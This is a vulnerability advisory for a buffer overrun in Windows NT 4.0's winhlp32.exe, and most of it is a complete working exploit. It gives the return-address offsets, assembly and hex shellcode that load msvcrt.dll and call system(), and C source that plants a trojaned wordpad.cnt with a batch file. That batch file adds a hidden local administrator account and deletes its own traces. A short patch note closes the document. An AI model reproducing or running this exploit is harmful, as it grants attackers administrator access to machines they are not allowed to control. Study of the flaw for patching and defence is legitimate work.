COMMAND

    winhlp

SYSTEMS AFFECTED

    WinNT 4.0

PROBLEM

    Mnemonix  found  a  vulnerability  in  winhlp32.exe.   The  buffer
    overrun,  as  described  by  Mnemonix,  arose  when  a  .cnt  file
    contained an overly long entry string.  The result was the ability
    to cause winhlp32.exe to run arbitrary code (no demo offered,  but
    it overwrote the EIP so one  is plausible).  Couple this with  the
    fact  that  the  winnt\help  directory  (where most .cnt files are
    written  and  stored)  has  EVERYONE:  CHANGE  permissions  and it
    becomes possible to use this exploit to Trojan an NT box.

    The Windows Help utility parses and displays help information  for
    applications.   The  help  information  is  contained  in files of
    several types that are generated by the Help Compiler (part of the
    AppWizard utility),  and is  stored by  default in  the WINNT\help
    folder.  By default, users can write to this folder.  An unchecked
    buffer exists in the Help utility,  and a help file that has  been
    carefully  modified  could  be  used  to execute arbitrary code on
    the local machine via a classic buffer overrun technique.  Because
    the  Help  Compiler's  output  files  do not generate the specific
    malformation  at  issue  here,  this  vulnerability  could  not be
    accidentally exploited.  The machines primarily at risk from  this
    vulnerability  are  workstations,  terminal  servers,  and   other
    machines  that  allow  users  to  log  on interactively and add or
    modify help files.   Servers generally do  not allow normal  users
    to interactively log on.

    Fact is that  this exploit can  be invoked without  ever having to
    touch the winnt\help directory, which means that MS' claims  about
    it not being  exploitable remotely are  somewhat mis-stated.   Any
    application  will  look  first  in  its execution directory for an
    application specific .cnt file.   So while the .hlp file  might be
    in the  winnt\help directory  (with a  .cnt file  even), if a .cnt
    file exists  with the  correct name  in the  application execution
    directory, any call to help from the application will bring up the
    contents of the .cnt file in the application execution  directory.
    If  that  .cnt   file  has  been,   um,  malformed  (to   use  MS'
    description), it can  cause, um, a  malfunction (or worse).   If a
    .cnt file can be found in a user's path, it will similarly be used
    prior to one existing in the winnt\help directory.  The number  of
    possible locations that are widely available to  non-Administrator
    users for the introduction of a Trojan'd .cnt file are, well,  far
    too high to accept MS' rather subdued warning.

    For  those  that  don't  already  know,  a  .cnt  file  is  a file
    containing  the  information  that  gets  displayed when you first
    bring up a help file.   It is the "Contents" tab information.   It
    is normally generated as part of compiling .rtf (Rich Text  Files)
    files into  .hlp (help)  files.   Additional exploit  and analysis
    of the Winhlp32.exe buffer overrun follows.

    The buffer overrun in winhlp32.exe occurs when it attempts to read
    a cnt file with an overly  long heading string.  If the  string is
    longer than 507 bytes the buffer overrun does not occur - winhlp32
    just truncates the entry.  The return address is overwritten  with
    bytes 357,  358, 359  and 360.   Everything before  these bytes is
    lost giving  us bytes  361 to  507 to  play with  - a total of 147
    bytes for our  exploit code.   On playing around  with the overrun
    we find we lose about another 20 of these bytes giving us only 127
    bytes to play with - not a lot really.

    On overruning the buffer and analysing the contents of memory  and
    the CPU's registers with a debugger we find that byte 361 is found
    at 0x0012F0E4.  This is the  address we need to get the  processor
    to go to to get its next instruction - but this address has a NULL
    in it  which totally  messes things  up. However,  looking at  the
    registers we can see that  the ESP, the Stack Pointer,  holds this
    address so if we can find somewhere in memory that does a JMP ESP,
    and set the return address to  this then we should be able  to get
    back to the address where  we'll place our exploit code.   Looking
    at the DLLs that winhlp32.exe  uses we find that kernel32.dll  has
    the JMP ESP instruction at 0x77F327E5 (Service Pack 4's version of
    kernel32.lib - at 0x77F327D5 on Service Pack 3's  kernel32.dll??).
    So we put 0x77F327E5 into bytes 357 to 360 but we have to load  it
    in backwards so byte 357 we'll set to 0xE5, byte 358 to 0x27, byte
    359 to 0xF3 and byte 360 to 0x77.

    Now we've jumped back to our  exploit code we have to decide  what
    we  wan  to  put  in  it.   Because  we  only have 127 bytes to do
    anything meaningful we  need to start  another program -  the best
    thing is to get  it to run a  batch file.  This  means calling the
    system ( )  function which is  exported by msvcrt.dll  which isn't
    loaded into the address space  of winhlp32.exe - so we'll  have to
    load it.   How do we  do this?   We have to  call LoadLibrary (  )
    which is exported by kernel32.dll  which is in the address  space.
    LoadLibraryA ( ) is exported at address 0x77F1381A so all we  need
    to do is have the string "msvcrt.dll" in memory somewhere and call
    0x77F1381A with a reference to the pointer to the null  terminated
    "msvcrt.dll" string.  Because it  has to be null terminated  we'll
    get our  code to  write it  into memory.  Once this  is done we'll
    place the address  of LoadLibraryA (  ) onto the  stack then place
    the  address  of  the  pointer  to  "msvcrt.dll"  and finally call
    LoadLibraryA ( ) using an offset  from the EBP.  The following  is
    the Assembly Code needed to do this:

        /*First the procedure prologue */
        push ebp
        mov ebp,esp

        /*Now we need some zeroes */
        xor eax,eax

        /* and then  push then onto the stack */
        push eax
        push eax
        push eax

        /* Now we write MSVCRT.DLL into the stack */
        mov byte ptr[ebp-0Ch],4Dh
        mov byte ptr[ebp-0Bh],53h
        mov byte ptr[ebp-0Ah],56h
        mov byte ptr[ebp-09h],43h
        mov byte ptr[ebp-08h],52h
        mov byte ptr[ebp-07h],54h
        mov byte ptr[ebp-06h],2Eh
        mov byte ptr[ebp-05h],44h
        mov byte ptr[ebp-04h],4Ch
        mov byte ptr[ebp-03h],4Ch

        /* move the address of LoadLibraryA ( ) into the edx register */
        mov edx,0x77F1381A

        /* and then push it onto the stack */
        push edx

        /* Then we load the address where the msvcrt.dll string can be found */
        lea eax,[ebp-0Ch]

        /* and push it onto the stack */
        push eax

        /* Finally we call LoadLibraryA( )
        call dword ptr[ebp-10h]

    All things going  well we should  have now loaded  msvcrt.dll into
    the address space of winhlp32.exe.  With this in place we now need
    to call system()  and provide the  name of a  batch file to  it as
    an argument.   We don't  have enough  bytes to  play with  to call
    GetProcessAddress ( ) and do the rest of the things we have to  do
    like  clean  up  so  we  check  what version of msvcrt.dll we have
    before writing the code and see  where system ( ) is exported  at.
    On a standard install of Windows NT this will normally be  version
    4.20.6201 with system () exported  at 0x7801E1E1.  We'll call  the
    batch file ADD.bat but to save room we won't give it an extention.
    The system ( ) function will try the default executable extentions
    like.exe, .com and .bat and find it  for us then run it.  Once  it
    has run it the cmd.exe  process system( ) has launched  will exit.
    So we need to have the null terminated string "ADD" in memory  and
    the address of system ( ). Below is the code that will write "ADD"
    onto the stack and then call system( )

        /*First the procedure prologue */
        push ebp
        mov ebp,esp

        /* We need some NULL and then push them onto the stack */
        xor edi,edi
        push edi

        /* Now we write ADD onto the stack */
        mov byte ptr [ebp-04h],41h
        mov byte ptr [ebp-03h],44h
        mov byte ptr [ebp-02h],44h

        /* Place address of system ( ) into eax and push it onto the stack */
        mov eax, 0x7801E1E1
        push eax

        /* Now load eax with address of ADD and push this too */
        lea eax,[ebp-04h]
        push eax

        / * Then we call system ( ) */
        call dword ptr [ebp-08h]

    Once the batch file has been run the Command Interpreter will exit
    and if we don't clean up after ourselves winhlp32.exe will  access
    violate so we  need to call  exit (0) to  keep it quiet.  exit ( )
    is also exported by msvcrt.dll at address 0x78005BBA - which has a
    null in it.   It's not a  major problem -  we can fill  a register
    with 0xFFFFFFFF and  subtract 0x87FFA445 from  it.  The  following
    code calls exit (0)

        /* Procedure prologue */
        push ebp
        mov ebp,esp

        /* Round about way of getting address of exit () into edx */
        mov edx,0xFFFFFFFF
        sub edx,0x87FFAF65

        /* Push this address onto the stack */
        push edx

        /* Get some nulls - this is our exit code - and push them too */
        xor eax,eax
        push eax

        /* then call exit()! */
        call dword ptr[ebp-04h]

    Altogether our code looks like this:

        push ebp
        mov ebp,esp
        xor eax,eax
        push eax
        push eax
        push eax
        mov byte ptr[ebp-0Ch],4Dh
        mov byte ptr[ebp-0Bh],53h
        mov byte ptr[ebp-0Ah],56h
        mov byte ptr[ebp-09h],43h
        mov byte ptr[ebp-08h],52h
        mov byte ptr[ebp-07h],54h
        mov byte ptr[ebp-06h],2Eh
        mov byte ptr[ebp-05h],44h
        mov byte ptr[ebp-04h],4Ch
        mov byte ptr[ebp-03h],4Ch
        mov edx,0x77F1381A
        push edx
        lea eax,[ebp-0Ch]
        push eax
        call dword ptr[ebp-10h]
        push ebp
        mov ebp,esp
        xor edi,edi
        push edi
        mov byte ptr [ebp-04h],43h
        mov byte ptr [ebp-03h],4Dh
        mov byte ptr [ebp-02h],44h
        mov eax, 0x7801E1E1
        push eax
        lea eax,[ebp-04h]
        push eax
        call dword ptr [ebp-08h]
        push ebp
        mov ebp,esp
        mov edx,0xFFFFFFFF
        sub edx,0x87FFA445
        push edx
        xor eax,eax
        push eax
        call dword ptr[ebp-04h]

    Now we need the operayion codes (opcodes) for all this which we do
    by writing a program that  uses the __asm function and  then debug
    it.   This  is  what  we  actually  load  into  our  exploit code.
    Following is the source of a program that will create a "trojaned"
    wordpad.cnt.  It  will also create  a batch file  called add.bat -
    edit it as you see fit.  Compiled program available at:

        http://www.infowar.co.uk/mnemonix/winhlpadd.exe

    Note  that  this  will  run  only  on standard installs of NT with
    service pack 4  and expects an  msvcrt.dll version of  4.20.6201 -
    run it from the winnt\help directory.

    #include <stdio.h>
    #include <windows.h>
    #include <string.h>

    int main(void)
    {
     char eip[5]="\xE5\x27\xF3\x77";
     char
    ExploitCode[200]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x
    90\x90\x90\x90\x90\x90\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x
    45\xF5\x53\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\x
    C6\x45\xFA\x2E\xC6\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x1A\x38\x
    F1\x77\x52\x8D\x45\xF4\x50\xFF\x55\xF0\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x
    41\xC6\x45\xFD\x44\xC6\x45\xFE\x44\xB8\xE1\xE1\xA0\x77\x50\x8D\x45\xFC\x50\x
    FF\x55\xF8\x55\x8B\xEC\xBA\xBA\x5B\x9F\x77\x52\x33\xC0\x50\xFF\x55\xFC";

     FILE *fd;
     printf("\n\n*******************************************************\n");
     printf("* WINHLPADD exploits a buffer overrun in Winhlp32.exe *\n");
     printf("*   This version runs on Service Pack 4 machines and  *\n");
     printf("*       assumes a msvcrt.dll version of 4.00.6201     *\n");
     printf("*                                                     *\n");
     printf("* (C) David Litchfield (mnemonix@globalnet.co.uk) '99 *\n");
     printf("*******************************************************\n\n");
   
     fd = fopen("wordpad.cnt", "r");
     if (fd==NULL)
      {
       printf("\n\nWordpad.cnt not found or insufficient rights to access
    it.\nRun this from the WINNT\\HELP directory");
       return 0;
      }
     fclose(fd);
     printf("\nMaking a copy of real wordpad.cnt - wordpad.sav\n");
     system("copy wordpad.cnt wordpad.sav");
     printf("\n\nCreating wordpad.cnt with exploit code...");
     fd = fopen("wordpad.cnt", "w+");
     if (fd==NULL)
      {
       printf("Failed to open wordpad.cnt in write mode. Check you have
    sufficent rights\n");
       return 0;
      }
     fprintf(fd,"1
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%s%s\n",eip,ExploitCode)
    ;
     fprintf(fd,"2 Opening a document=WRIPAD_OPEN_DOC\n");
     fclose(fd);
     printf("\nCreating batch file add.bat\n\n");
     fd = fopen("add.bat", "w");
     if (fd == NULL)
      {
       printf("Couldn't create batch file. Manually create one instead");
       return 0;
      }
     printf("The batch file will attempt to create a user account called
    \"winhlp\" and\n");
     printf("with a password of \"winhlp!!\" and add it to the Local
    Administrators group.\n");
     printf("Once this is done it will reset the files and delete itself.\n");
     fprintf(fd,"net user winhlp winhlp!! /add\n");
     fprintf(fd,"net localgroup administrators winhlp /add\n");
     fprintf(fd,"del wordpad.cnt\ncopy wordpad.sav wordpad.cnt\n");
     fprintf(fd,"del wordpad.sav\n");
     fprintf(fd,"del add.bat\n");
     fclose(fd);
     printf("\nBatch file created.");
     printf("\n\nCreated. Now open up Wordpad and click on Help\n");

     return 0;


    }

SOLUTION

    The  patch  prevents  arbitrary  code  from  being executed on the
    machine, but does  not prevent malformed  help files from  causing
    the Help utility  to fail.   However, failure of  the Help utility
    does  not  threaten  system  stability  or  security, and the Help
    utility can be restarted without incident.  The patch can be found
    at:

        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-po stSP5/winhlp32-fix/winhlp-i.exe
        ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-po stSP5/winhlp32-fix/winhlp-a.exe